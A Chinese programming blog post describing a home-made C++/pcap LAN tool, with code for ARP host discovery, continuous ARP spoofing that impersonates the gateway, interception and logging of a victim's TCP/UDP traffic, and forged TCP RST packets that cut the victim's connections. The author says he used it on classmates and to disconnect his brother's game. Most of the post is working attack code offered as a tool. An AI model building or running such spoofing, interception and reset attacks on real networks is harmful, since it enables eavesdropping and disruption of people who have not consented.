从零写的一个嗅探器

  1.整个程序全程使用pcap来实现,本文中未给出全部代码,仅有部分代码来说明思路和遇到的问题。关于pcap的配置来自link。pcap的官方文档见link

  2.做这个东西一开始是以调戏同学的目的开始的。比如给他们发rst让他们游戏掉线(代码中也实现了这个操作,并且让我弟的dnf成功掉线了)。不过更多的收获是对协议的理解更深了,比如各个协议头的各个字段,应该如何处理或者如何填写。

  3.最初是在看完UNP第二十八章后,打算用原始套接字混杂模式实现的,不过中间不管怎么开启混杂模式,都是只能收到自己机器的包,后来又翻了翻UNP和WinSock网络编程经络,大概看到一句windows的原始套接字有很多限制之类的,以为这是问题所在,后来换到linux环境下写,不过依旧是不管怎么开启混杂模式,还是只能收到自己的包。然后去网上查资料,才了解到以前是集线器来转发,集线器会把所有的包都转发给所有接口(大概是这样子),但是现在路由器不行了,路由器只会把属于自己的包转发过来,查到的解决方法是arp欺骗。

  4.代码中也有很多有缺陷的地方,比如代码冗余,还有一些地方应该使用屏障的概念来解决多个线程的同步,不过因为懒就没有研究屏障,用睡眠等待了。

1.关于以太网 IP TCP UDP等的包头结构

  这部分代码网上到处都有,要说明一下两个问题。

    第一个是 成员大部分是无符号字段,在编写过程,好几次发送出去包的预期和用wireshark抓到的不一致,问题就是中间使用了某些有符号字段来转存造成的问题。

    第二个是 定义arp包时遇到的一个字节对齐问题,测试arp欺骗时,总是和预期对不上,最后发现arp的定义那里,使用char数组被对齐了两字节,关于这个问题的详述见link第三条。

struct C_EthHead
{
 u_char DstMac[6];
 u_char SrcMac[6];
 u_short Proto;
};

struct C_IP4Head
{
 u_char 	VerAndHeadlen;  	// 1字节 4位版本号(4)+4位首部长度(一般20)
 u_char 	tos;    		// 1字节 tos服务类型(被忽略)
 u_short 	PacketLength; 	 	// 2字节 整个包的长度
 u_short 	identification; 	// 2字节 16位标识符(分片和重组使用)
 u_short 	TagAndOffset;  		// 2字节 3位标志+13位片偏移(分片和重组使用)
 u_char 	TTL;    		// 1字节 生存周期
 u_char 	proto;    		// 1字节 协议类型  1 2 6 17,分别是ICMP IGMP TCP UDP
 u_short 	CheckSum;   		// 2字节 校验和
 IN_ADDR 	SrcIP;    		// 4字节 源IP
 IN_ADDR 	DstIP;    		// 4字节 目的IP
};

struct C_TCPHead
{
 u_short 	SrcPort;  		// 2字节 源端口
 u_short 	DstPort;   		// 2字节 目的端口
 u_int 		SeqNumber;   		// 4字节 发送的序号
 u_int 		AckNumber;   		// 4字节 期望收到的对方的下一个序号
 u_char 	HeadLength;  		// 1字节 前4位表示首部长度,后四位被保留
 u_char 	tag;    		// 1字节 前两位被保留,后六位分别用于 URG ACK PSH RST SYN FIN
 u_short 	WindowSize;   		// 2字节 
 u_short 	CheckSum;  		// 2字节 检验和,覆盖TCP首部和数据,由系统强制填写
 u_short 	UrgPtr;    		// 2字节 紧急指针
};

struct C_UDPHead
{
 u_short	SrcPort;   		// 2字节 源端口
 u_short 	DstPort;  		// 2字节 目的端口
 u_short 	PacketLen;   		// 2字节 包括首部和数据在内的长度
 u_short 	CheckSum;   		// 2字节 校验和
};

struct C_ARPPacket
{
 u_short 	HardwareType;  		// 2字节 硬件类型,为1表示以太网地址
 u_short 	ProtoType;   		// 2字节 协议类型,为0x0800表示IP
 u_char 	HardwareLen;  		// 1字节 硬件地址长度,一般为6
 u_char 	ProtoLen;   		// 1字节 协议地址长度,一般为14
 u_short 	OperType;   		// 2字节 操作类型,1为ARP请求,2为ARP应答,3、4为RARP的请求和应答
 u_char 	SrcMacAndIP[10]; 	// 10字节 源mac和ip   // 这里把mac和IP合在一起的原因是,mac有6字节,紧随其后定义IN_ADDR的IP结构,会导致mac的6字节对齐到8字节
 u_char 	DstMacAndIP[10]; 	// 10字节 目标mac和ip
};

2.一组全局变量

  这里大概没什么好写的,注释里面写的很清楚了

int     choose;      			// 分支处选择输入
char    errbuf[PCAP_ERRBUF_SIZE]; 	// 错误信息存储
int     DevPacketCount[256]{ -1 }; 	// 短时间内对收到的包计数
std::atomic<int> EXIT = 0;     		// 控制程序退出的标记
std::atomic<int> STOP = 0;     		// 用来控制操作的停止,arp欺骗线程和arp欺骗后抓包的线程,用这个来控制停止
std::atomic<int> PacketCount = 0;   	// 统计接收到的包数量,每打印一个包计数+1
std::mutex     mtx;    			// 用来线程同步
std::condition_variable  cond;    	// 用来线程同步

pcap_if_t*   	alldevs, * d;    	// 前者用来存储所有网络设备的信息,后者用来遍历
int     	DevCount = 0;    	// 统计网络设备的个数
pcap_t*    	PcapHandle[256];   	// pcap打开某个网卡后取得的句柄(网卡句柄集合)
int     	DevNumber;     		// 存储所选择的网卡号   
unsigned char  	MAC[6];      		// 存储网卡号对应的MAC
IN_ADDR    	LocalDevIp;     	// 存储网卡号对应的IP
IN_ADDR    	NetIp;      		// 当前网段的 网络地址
IN_ADDR    	DefaultGateWayIp;   	// 当前网段的 默认网关   在网络地址上+1
u_char    	DefaultGateWayMac[6];  	// 默认网关的 mac
IN_ADDR   	BroadIp;     		// 当前网段的 广播地址
IN_ADDR   	MaskIp;      		// 当前网段的 子网掩码
IN_ADDR    	ByAttackerIP;    	// 被监听者IP
u_char   	ByAttackerMAC[6];   	// 被监听者MAC

std::vector<std::pair<ULONG*, u_char*>> LiveDev; 	// 局域网当前存活设备的IP和MAC

pcap_pkthdr* 	pkd;   		// 用于接收数据包的结构
const u_char* 	RecvBuf{};  	// 用于接收数据包的结构
int    		res;   		// 收包的返回值

time_t   	local_tv_sec; 	// 用于打印时间戳
struct   	tm* ltime;  	// 用于打印时间戳
char   		timestr[16]; 	// 用于打印时间戳

u_char   	IPheadlen;  	// IP包头长度  一定要无符号才能计算对
u_int   	TCPheadlen;  	// TCP包头长度
u_int   	UDPheadlen;  	// 包头长度

C_EthHead*  	EthHead;  	// 以太网头指针
C_IP4Head*  	Ip4Head;  	// IP4头指针
C_TCPHead*  	TcpHead;  	// TCP头指针
C_UDPHead*  	UdpHead;  	// UDP头指针

int    	PrintfCount = 0;	// 打印包时的计数
int    	RecvCount = 0; 		// 收到包时的计数

3.所有的函数声明

  这些函数在主函数的执行顺序就是从上往下的。

    ①:先启动一个输入线程,这个线程用来和主线程交互,比如主线程需要输入一些数据,那么输入通过该线程阻塞,而不阻塞主线程。

    ②:接下来是选择网卡设备,主机可能有多个网卡多个IP,在我的机器上,算上虚拟机什么的有7个网卡,给每个网卡启动一个测试接收线程,通过判断哪个网卡短时间内收包最多(正在使用的网卡),来选择网卡,或者在之后打印出每个网卡的收包数量号手动选择。

    ③:再接着GetNetInfo,通过发送一个arp包来取得当前网卡的mac地址,还有一些其他信息,诸如:当前网络的子网掩码、网关、网络地址、广播地址等

    ④:接下来通过网络地址和子网掩码计算出网段范围,启动一条发线程,对网段内每个IP发送ARP包。主线程则通过判断筛选,来找出局域网内其他机器回复的ARP包,收到回复的即算机器存活,顺便通过该ARP包取出对方mac,存储在一个IP MAC字段对应的集合里。
    在填写ARP包的时候遇到一个问题:有的字段需要主动转换成网络字节序,有的则不需要(这里通过抓包一个一个字段比对)。
    其实填写IP头和TCP头的时候,也遇到了这个问题。下文对每个函数详细说明时,会说明这些字段。

    ⑤:最后就是调用主菜单函数,通过循环选择操作,实现的操作有:重新进行局域网存活探测、ARP欺骗抓包、RST攻击、FIN攻击。

    ⑥:最后三个函数是在网上直接复制过来的,IPStrToInt函数是因为在win下没有API支持才弄的。

void	InputThread();	// 控制输入线程

int	ChooseDev();					// 获取当前设备的所有网卡,并为每个网卡启动一个 测试接收线程,以选择使用哪个网卡
void	ChooseDevOutPutThread(pcap_if_t* dev, int id);  // 测试接收线程

void	GetNetInfo();    // 获取所选网卡的mac,以及当前网络的子网掩码、IP、网关、等

void	LocalNetDiscover();  		// 局域网设备发现(收)线程,收到回复就保存打印
void	LocalNetDevDetectThread(); 	// 局域网设备发现(发)线程,对网段内每个IP发送一个ARP请求

void	MainMenu();    // 主菜单函数,循环选择执行什么操作

void	ShadowListen();   	// 对被监听者的包转发+打印
void	SustainCheatThread();	// 持续对被监听者发送arp欺骗

void	RstDisNet();    // rst攻击,同样调用SustainCheatThread来进行arp欺骗抓包
void	FinDisNet();    // fin攻击

unsigned int IPStrToInt(const char* ip);     			// IP字符串转化为整数
short	IpCheckSum(short* ip_head_buffer, int ip_hdr_len); 	// IP的校验和函数
SHORT	Tcpchecksum(USHORT* buffer, int size);    		// TCP的校验和包含包头和数据

4.主函数的代码

int main()
{ 
 	std::thread t(InputThread);  // 创建一条线程用来接受输入
 	t.detach();
 
 	ChooseDev();     	// 遍历网卡,选择一块网卡作为欺骗者
 
 	GetNetInfo();     	// 获取本地mac和IP存储到全局LocalDevIp和MAC
 
 	LocalNetDiscover();     // 对网段内每个IP发送一个ARP请求,收到回复就算存活,并打印
 
 	MainMenu();
 
 	for (auto it = LiveDev.begin(); it < LiveDev.end(); ++it) // 清理空间
 	{
		delete it->first;
		delete [] it->second;
 	}
 
 	pcap_freealldevs(alldevs);         // 释放结构
 	printf("输入任意字符结束程序。\n");
	getchar();
 	return 0;
}

4.5.被跳过的四个函数

  InputThread、ChooseDev、ChooseDevOutPutThread、GetNetInfo这几个函数就不写了,其中的都是涉及逻辑的代码,函数中调用的接口在pcap的官方文档里全能找到,主要写一下,之后填写数据包的部分。

5.LocalNetDiscover和LocalNetDevDetectThread两个函数

  LocalNetDiscover()
    在这个函数中首先启动另一条线程执行函数LocalNetDevDetectThread,该线程用来对网段内所有IP发送ARP探测。接下来是一个做多等待七秒的循环,监听网卡上所有的包,然后通过以太网协议字段 ARP包的操作字段等等一系列过滤手段,来过滤出网段内其他主机的ARP的回复包,然后将探测到存活的主机存入一个全局变量中,存储的字段是一个<IP , MAC>。

  LocalNetDevDetectThread()
    在这个函数中首先申请一块内存,长度是一个以太网帧(14)+ARP(28)。

    以太网帧头 目的MAC地址填全1来广播。
    以太网帧头 源MAC地址填
    以太网帧头 协议字段这里就需要收到转换成网络字节序EthHead->Proto = htons(0x0806),当我没有转换为网络字节序时,直接赋值0x0806,wire抓到包里的值是0x0608,使用转换后,抓到的包就是正确的值,没搞明白这里为什么。

    在填写ARP包时,代码中可以看到,硬件、协议、操作类型这三个字段使用htons来转为网络字节序,这些都是在抓包后发现需要转换的,否则抓到的包就不正确。其他字段则直接复制或者赋值,就都是正确的。

    最后在一个循环中,每次修改目的IP地址,然后发送这个ARP包。

void LocalNetDiscover() // (不完整)
{
 	std::thread t(LocalNetDevDetectThread);  // 开启另一个线程发送探测包
 	t.detach();
 	
 	// 当前线程则收包打印
 	// 最多等待7秒来接受arp回复包
 	auto timeout = std::chrono::steady_clock::now() + std::chrono::seconds(7);
 	while (std::chrono::steady_clock::now() < timeout && !EXIT)
 	{
  		res = pcap_next_ex(PcapHandle[DevNumber], &pkd, &RecvBuf);
 		EthHead = (C_EthHead*)RecvBuf;
  		ArpP = (C_ARPPacket*)(RecvBuf + 14);
  		if (res == 0) // 超时
   			continue;
  		if (res < 0)
  		{
   			printf("pcap_next_ex出错2,收包结束\n\n");
   			break;
  		}
  		if (ntohs(EthHead->Proto) != 0x0806)  	// 只收取为0x0806的ARP包
   			continue;
  		if (ntohs(ArpP->OperType) != 2)    	// 不是回复包就忽略
   			continue;
  		if (strncmp((char *)ArpP->SrcMacAndIP + 6, (char*)&LocalDevIp, 4) == 0)  // 本机发出的ARP回复包被忽略
   			continue;
  		if (std::find(DeWeight.begin(), DeWeight.end(), (*(ULONG*)(ArpP->SrcMacAndIP + 6))) != DeWeight.end()) // 去除重复的探测
   			continue;
  		DeWeight.push_back(*(ULONG*)(ArpP->SrcMacAndIP + 6));
  		PucharTemp = new u_char[6];     // 这两个指针在main函数最后释放
  		PulongTemp = new ULONG;      	// 这两个指针在main函数最后释放
  		strncpy((char *)PucharTemp, (char *)(ArpP->SrcMacAndIP), 6);
  		strncpy((char *)PulongTemp, (char *)(ArpP->SrcMacAndIP + 6), 4);
  		LiveDev.push_back(std::make_pair<ULONG*, u_char*>((ULONG *)PulongTemp, (u_char *)PucharTemp));
  		if (strncmp((char*)&(DefaultGateWayIp.S_un.S_addr), (char*)(ArpP->SrcMacAndIP + 6), 4) == 0)  // 如果是网关的IP,存下Mac
  		{
   			strncpy((char*)DefaultGateWayMac, (char*)ArpP->SrcMacAndIP, 6);
  		}
 	}
 	
 	printf("局域网存活发现完毕。\n\n");
 	std::this_thread::sleep_for(std::chrono::milliseconds(1000));
}

void LocalNetDevDetectThread()
{
 	std::this_thread::sleep_for(std::chrono::milliseconds(2000));
 	
 	// 先构造一个ARP包
 	u_char* ArpPacket = new u_char[sizeof(C_EthHead) + sizeof(C_ARPPacket)];
 	EthHead = (C_EthHead*)ArpPacket;
 	C_ARPPacket* AH = (C_ARPPacket*)(ArpPacket + sizeof(C_EthHead));
 	
 	// 填写以太网帧头
 	memset(EthHead->DstMac, UCHAR_MAX, 6);      // 以太网目的地址全1来广播
 	strncpy((char*)EthHead->SrcMac, (const char*)&MAC, 6);  // 源地址填写事先填好的MAC
 	EthHead->Proto = htons(0x0806);        // 0x0806是arp协议
 	
 	// 填写ARP包
 	AH->HardwareType = htons(1);
 	AH->ProtoType = htons(0x0800);
 	AH->HardwareLen = 6;
 	AH->ProtoLen = 4;
 	AH->OperType = htons(1);
 	strncpy((char*)AH->SrcMacAndIP, (const char*)MAC, 6);    // 填写源MAC
 	strncpy(((char*)AH->SrcMacAndIP) + 6, (const char*)&LocalDevIp, 4); // 填写源IP
 	memset((char*)AH->DstMacAndIP, 0, 6);
 	// 目的IP放在循环里填
	// strncpy(((char*)&AH->DstMacAndIP) + 6, (const char*)&ip.S_un.S_addr, 4);
	
 	auto StartTime = std::chrono::steady_clock::now();
 	for (auto it = NetIp.S_un.S_addr; it < BroadIp.S_un.S_addr; it += 0x01000000)
 	{
  		strncpy(((char*)AH->DstMacAndIP) + 6, (const char*)&it, 4);
  		if (pcap_sendpacket(PcapHandle[DevNumber], ArpPacket, sizeof(C_EthHead) + sizeof(C_ARPPacket) /* size */) != 0)
  		{
   			printf("目的IP:<%s>的arp探测包发送失败XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n");
   			continue;
  		}
  		//printf("目的IP:<%s>的arp探测包发送成功\n", inet_ntoa(*(IN_ADDR*)&it));
 	}
 	printf("所有ARP探测包在<%d>毫秒内发送完毕。\n\n", (std::chrono::steady_clock::now() - StartTime).count() / 1000000);
 	
	// 释放空间
 	delete[] ArpPacket;
}

6.MainMenu函数

  这个函数很简单,就是一个主循环,每次循环先清屏,然后打印一遍局域网内所有存活机器的IP和MAC。

  接着输出列表,然后等待输入。

  等待输入这部分使用了条件变量来和InputThread来实现线程同步

void MainMenu()
{
 	while (!EXIT)
 	{
		system("cls");
  		printf("\n");
  		for (auto it = LiveDev.begin(); it < LiveDev.end(); ++it)
  		{
   			printf("存活机器IP:<%s>\tMAC:<%02x-%02x-%02x-00-00-00>\n\n", inet_ntoa(*(IN_ADDR*)(it->first)), it->second[0], it->second[1], it->second[2]);
  		}
  		printf("\n\n");
  		printf("\t\t\t\t\t1.重新探测局域网\n\n");
  		printf("\t\t\t\t\t2.ARP欺骗抓包\n\n");
  		printf("\t\t\t\t\t3.RST断网\n\n");
  		printf("\t\t\t\t\t4.FIN断网\n\n");;
 		printf("\t\t\t\t\t8.退出\n\n");
  		printf("输入格式:( choose <空格> number ):");
  		std::unique_lock<std::mutex> lk(mtx);
  		cond.wait(lk);
  		lk.unlock();
  		printf("\n");
  		STOP = 0;
  		switch (choose)
  		{
  			case 1:
   				LiveDev.clear();
   				LocalNetDiscover(); break;
   			
  			case 2:
   				ShadowListen(); break;
   			
  			case 3:
   				RstDisNet(); break;
   			
  			case 4:
   				FinDisNet(); break;
   			
 			case 8:
   				printf("aaa 退出\n");
   				EXIT = 1; break;
   			
  			default:
   				printf("该选择不存在!\n");
   				std::this_thread::sleep_for(std::chrono::seconds(1)); break;
  		}
  		std::this_thread::sleep_for(std::chrono::seconds(1));
 	}
}

7.ShadowListen和SustainCheatThread函数

  ShadowListen()
    该函数在通过条件变量等待输入线程输入被监听者IP后,将SustainCheatThread作为一个线程来启动,持续被对监听者发送ARP欺骗包。
    循环中,首先通过pcap提供的函数抓包,然后通过过滤,只处理源mac为 被监听IP的 以太网帧。只要收到这样的帧,就把该帧转发给网关,以确保被监听者不会因为ARP欺骗而丢失连接。
    在接下来通过过滤,找出TCP和UDP包,打印出一些感兴趣的信息。

  SustainCheatThread()
    先申请一个ARP包的空间,然后依次填写以太网帧和ARP包(主要内容是声明本机是网关),在最后的循环中每500毫秒向被监听者覆盖以此ARP欺骗。

void ShadowListen()
{
 	printf("输入监听对象IP.\n输入格式:( byattacker <空格> IP ):");
 	std::unique_lock<std::mutex> lk(mtx);
 	cond.wait(lk);
 	printf("\n输入网关IP,或者跳过使用默认网关。(当前为:<%s>)\n输入格式:( gateway <空格> ip) or (jump ):", inet_ntoa(DefaultGateWayIp));
 	cond.wait(lk);
 	lk.unlock();
 	
 	std::thread t(SustainCheatThread);  // 一条线程周期性发送arp欺骗包
 	t.detach();
 	
	printf("\n开始抓包...\n\n");   // 当前线程收包+转发+打印
 	while (!STOP)
 	{
  		res = pcap_next_ex(PcapHandle[DevNumber], &pkd, &RecvBuf);   // 抓取目标数据包
  		++RecvCount;
  		
  		EthHead = (C_EthHead*)RecvBuf;          // 以太网包头指针置位  
  		if (strncmp((char*)EthHead->SrcMac, (char*)ByAttackerMAC, 6) != 0)
   			continue;
  		pcap_sendpacket(PcapHandle[DevNumber], RecvBuf, pkd->caplen);  // 源MAC是被监听者的MAC就转发
  		if (res == 0)        			// 超时
   			continue;
  		if (ntohs(EthHead->Proto) != ETH_P_IP)  // 只处理IP4包
   			continue;
  		if (res < 0)
  		{
   			printf("pcap_next_ex出错\n\n");
   			continue;
  		}
  		
  		Ip4Head = (C_IP4Head*)(RecvBuf + 14);  		// IP4包头置位
  		IPheadlen = Ip4Head->VerAndHeadlen << 4; 	// 计算IP包头长度
  		IPheadlen = IPheadlen >> 4;
  		IPheadlen *= 4;
  		
 		if (IPheadlen < 20 || IPheadlen > 60)  // 处理包头长度部分。
  		{
  			printf("包头长度不正确,跳过。值为:%d\n\n", IPheadlen);
   			continue;
  		}
  		
  		local_tv_sec = pkd->ts.tv_sec;    // 处理整个帧的时间
  		ltime = localtime(&local_tv_sec);
  		strftime(timestr, sizeof(timestr), "%H:%M:%S", ltime);
  		printf("No %6d: TIME:<%s> \t", ++PrintfCount, timestr); 
  		
  		switch (Ip4Head->proto)      // 处理协议字段  1 2 6 17,分别是ICMP IGMP TCP UDP
  		{
   			case 6:
    				TcpHead = (C_TCPHead*)(RecvBuf + 14 + IPheadlen);
    				printf("TCP  源:<%s:%d> \t", inet_ntoa(Ip4Head->SrcIP), TcpHead->SrcPort);  // 因为inet_ntoa函数同时使用会导致问题
    				printf("目的: <%s:%d>\n", inet_ntoa(Ip4Head->DstIP), TcpHead->DstPort);   // 所以分开打印
    				printf("\t\t\t\t发送的序号:<%u>\t确认的序号<%u>\n\n", ntohl( ntohl(TcpHead->SeqNumber)), ntohl(ntohl(TcpHead->AckNumber)));
    				break;
    				
   			case 17:
    				UdpHead = (C_UDPHead*)(RecvBuf + 14 + IPheadlen);
    				printf("UDP  源:<%s:%d> \t", inet_ntoa(Ip4Head->SrcIP), UdpHead->SrcPort);
    				printf("目的: <%s:%d>\n\n", inet_ntoa(Ip4Head->DstIP), UdpHead->DstPort);
    				break;
    				
  			 case 1:
    				//printf("<%s>:一个ICMP包被忽略\n\n", LocalAddrBuf);
    				break;
    				
   			case 2:
    				//printf("<%s>:一个IGMP包被忽略\n\n", LocalAddrBuf);
    				break;
    				
   			default:
    				//printf("<%s>:收到一个未解析包,协议类型:%d\n\n", LocalAddrBuf, IPhead->proto);
    			break;
  		}
 	}
 	printf("抓包已结束。\n\n");
}

void SustainCheatThread()
{
 	u_char* ArpPacket = new u_char[sizeof(C_EthHead) + sizeof(C_ARPPacket)]; // 先构造一个ARP包
 	EthHead = (C_EthHead*)ArpPacket;
 	C_ARPPacket* AH = (C_ARPPacket*)(ArpPacket + sizeof(C_EthHead));
 	
 	for (auto it = LiveDev.begin(); it < LiveDev.end(); ++it)   // 填写以太网帧头
 	{
  		if (strncmp((char*)&ByAttackerIP.S_un.S_addr, (char*)(it->first), 4) == 0)
  		{
   			strncpy((char*)EthHead->DstMac, (char*)(it->second), 6);   	// 找到IP对应的mac并填写
   			strncpy((char*)AH->DstMacAndIP, (char*)(it->second), 6);   	// arp包的目的mac也顺便在这里填了
   			strncpy((char*)ByAttackerMAC, (char*)(it->second), 6);		// 顺便取一下被攻击的mac
   			break;
  		}
 	}
 	
 	strncpy((char*)EthHead->SrcMac, (const char*)&MAC, 6);  // 以太网源地址填写事先填好的本地MAC
 	EthHead->Proto = htons(0x0806);        	// 0x0806是arp协议
 	
 	AH->HardwareType = htons(1);  		// 填写ARP包
 	AH->ProtoType = htons(0x0800);
 	AH->HardwareLen = 6;
 	AH->ProtoLen = 4;
 	AH->OperType = htons(2);
 	strncpy((char*)AH->SrcMacAndIP, (const char*)MAC, 6);      			// ARP填写源MAC
 	strncpy(((char*)AH->SrcMacAndIP) + 6, (const char*)&DefaultGateWayIp, 4); 	// ARP填写源IP
 	strncpy(((char*)AH->DstMacAndIP) + 6, (const char*)&ByAttackerIP.S_un.S_addr, 4);
 	
 	printf("arp欺骗线程已启动。\n\n");
 	while (!STOP)
 	{
  		if (pcap_sendpacket(PcapHandle[DevNumber], ArpPacket, sizeof(C_EthHead) + sizeof(C_ARPPacket)) != 0)
  		{
   			printf("arp欺骗包发送失败XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n");
   			continue;
  		}
  		std::this_thread::sleep_for(std::chrono::milliseconds(500));
 	}
 	
 	delete[] ArpPacket;  // 释放空间
 	
 	printf("ARP欺骗线程已结束。\n\n");
}

8.RstDisNet和FinDisNet函数

  RstDisNet()
    一开始同样是通过和输入线程的交互,输入线程输入后用条件变量同步。
    接着是调用前面的SustainCheatThread函数,并且启动线程来进行ARP欺骗。
    感觉好像也没什么好写了,就是每抓到一个TCP包,就伪造一个带有RST标志包,然后发给这个主机让其断开连接。
    这里要说明一下,并没有把欺骗目标的包转发给网关,不过可能有来自外部的包,被网关发给被攻击者,然后被攻击者的arp表大概会被修正,被攻击的TCP包依旧能够正常发出去,只不过产生了延迟,这个并没有去确认。不论如何,即便转发出去,随后到达的rst包都会让其断开连接

  FinDisNet()
    代码就不放了,几乎和rst的代码一模一样,只是改了一下标志那里

void RstDisNet()
{
 	printf("输入RstDisNet对象IP.\n输入格式:( byattacker <空格> IP ):");
 	std::unique_lock<std::mutex> lk(mtx);
 	cond.wait(lk);
 	printf("\n输入网关IP,或者跳过使用默认网关。(当前为:<%s>)\n输入格式:( gateway <空格> ip) or (jump ):", inet_ntoa(DefaultGateWayIp));
 	cond.wait(lk);
 	lk.unlock();
 	
 	std::thread t(SustainCheatThread);  // 一条线程周期性发送arp欺骗包
 	t.detach();
 	
 	u_char* RstPacket = new u_char[sizeof(C_EthHead) + sizeof(C_IP4Head) + sizeof(C_TCPHead) + 4];
 	while (!STOP)   // 接下来就是收包,然后构造RST包
 	{
  		memset(RstPacket, 0 , sizeof(C_EthHead) + sizeof(C_IP4Head) + sizeof(C_TCPHead) + 4);
  		res = pcap_next_ex(PcapHandle[DevNumber], &pkd, &RecvBuf);   	// 抓取目标数据包
  		++RecvCount;
  		EthHead = (C_EthHead*)RecvBuf;          			// 以太网包头指针置位  
  		if (strncmp((char*)EthHead->SrcMac, (char*)ByAttackerMAC, 6) != 0)
   			continue;
  		pcap_sendpacket(PcapHandle[DevNumber], RecvBuf, pkd->caplen);  // 源MAC是被监听者的MAC就转发
  		if (res == 0)        			// 超时
   			continue;
  		if (ntohs(EthHead->Proto) != ETH_P_IP)  // 只处理IP4包
   			continue;
  		if (res < 0)
  		{
   			printf("pcap_next_ex出错\n\n");
   			continue;
  		}
  		
  		Ip4Head = (C_IP4Head*)(RecvBuf + 14);  		// IP4包头置位
  		IPheadlen = Ip4Head->VerAndHeadlen << 4; 	// 计算IP包头长度
  		IPheadlen = IPheadlen >> 4;
  		IPheadlen *= 4;
  		
  		if (IPheadlen < 20 || IPheadlen > 60)  // 处理包头长度部分。
  		{
   			printf("包头长度不正确,跳过。值为:%d\n\n", IPheadlen);
   			continue;
  		}
  		
  		if(Ip4Head->proto == 6)      // 只处理为6的TCP报
  		{
   			TcpHead = (C_TCPHead*)(RecvBuf + 14 + IPheadlen);
   			C_EthHead* TempEth = (C_EthHead*)RstPacket;
   			C_IP4Head* TempIp4 = (C_IP4Head*)(RstPacket + 14);
  			C_TCPHead* TempTcp = (C_TCPHead*)(RstPacket + 14 + sizeof(C_IP4Head));
  			
   			// 虚假的以太网帧头,源MAC和目的MAC交换,类型字段复制
   			strncpy((char*)TempEth->SrcMac, (char*)EthHead->DstMac, 6);
   			strncpy((char*)TempEth->DstMac, (char*)EthHead->SrcMac, 6);
   			strncpy((char*)&(TempEth->Proto), (char*)&(EthHead->Proto), 2);
   			
   			// 虚假的IP4头, 版本号首部长度、tos略过、整个包长、标识符略过、分片略过、TTL=255、proto复制、校验和略过、源IP目标IP交换
   			strncpy((char*)&(TempIp4->VerAndHeadlen), (char*)&(Ip4Head->VerAndHeadlen), 1);
   			TempIp4->VerAndHeadlen >>= 4;
   			TempIp4->VerAndHeadlen <<= 4;
   			TempIp4->VerAndHeadlen += 5;
   			TempIp4->PacketLength = sizeof(C_IP4Head) + sizeof(C_TCPHead);
   			TempIp4->PacketLength = htonl(TempIp4->PacketLength);
   			TempIp4->TTL = 255;
   			strncpy((char*)&(TempIp4->proto), (char*)&(Ip4Head->proto), 1);
   			strncpy((char*)&(TempIp4->SrcIP.S_un.S_addr), (char*)&(Ip4Head->DstIP.S_un.S_addr), 4);
   			strncpy((char*)&(TempIp4->DstIP.S_un.S_addr), (char*)&(Ip4Head->SrcIP.S_un.S_addr), 4);
   			TempIp4->CheckSum = IpCheckSum((short*)TempIp4, 20);
   			
   			// 虚假的TCP头, 源端口目的端口交换、发送的序号是被攻击者的ack-1+4、期望收到的序号是被攻击者发出序号+1、长度字段、rst | ack标志置位、windowsize 0、其余忽略
   			strncpy((char*)&(TempTcp->SrcPort), (char*)&(TcpHead->DstPort), 2);
   			strncpy((char*)&(TempTcp->DstPort), (char*)&(TcpHead->SrcPort), 2);
   			TempTcp->SeqNumber = TcpHead->AckNumber;
   			TempTcp->SeqNumber = htonl(TempTcp->SeqNumber);
   			TempTcp->AckNumber = TcpHead->SeqNumber;
   			TempTcp->AckNumber = htonl(TempTcp->AckNumber);
   			TempTcp->HeadLength = 5;
   			TempTcp->HeadLength <<= 4;
   			TempTcp->tag = 0;
   			TempTcp->tag |= 1 << 2;
   			//TempTcp->tag |= 1 << 4;
   			TempTcp->WindowSize = htons(0);
   			TempTcp->CheckSum = Tcpchecksum((USHORT*)TempTcp, 20);
   			pcap_sendpacket(PcapHandle[DevNumber], (u_char*)RstPacket, sizeof(C_EthHead) + sizeof(C_IP4Head) + sizeof(C_TCPHead));
   			//printf("已发送!\n");
 		 }
 	}
 	delete[] RstPacket;
}

                                      2020年8月26日19:28:30

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值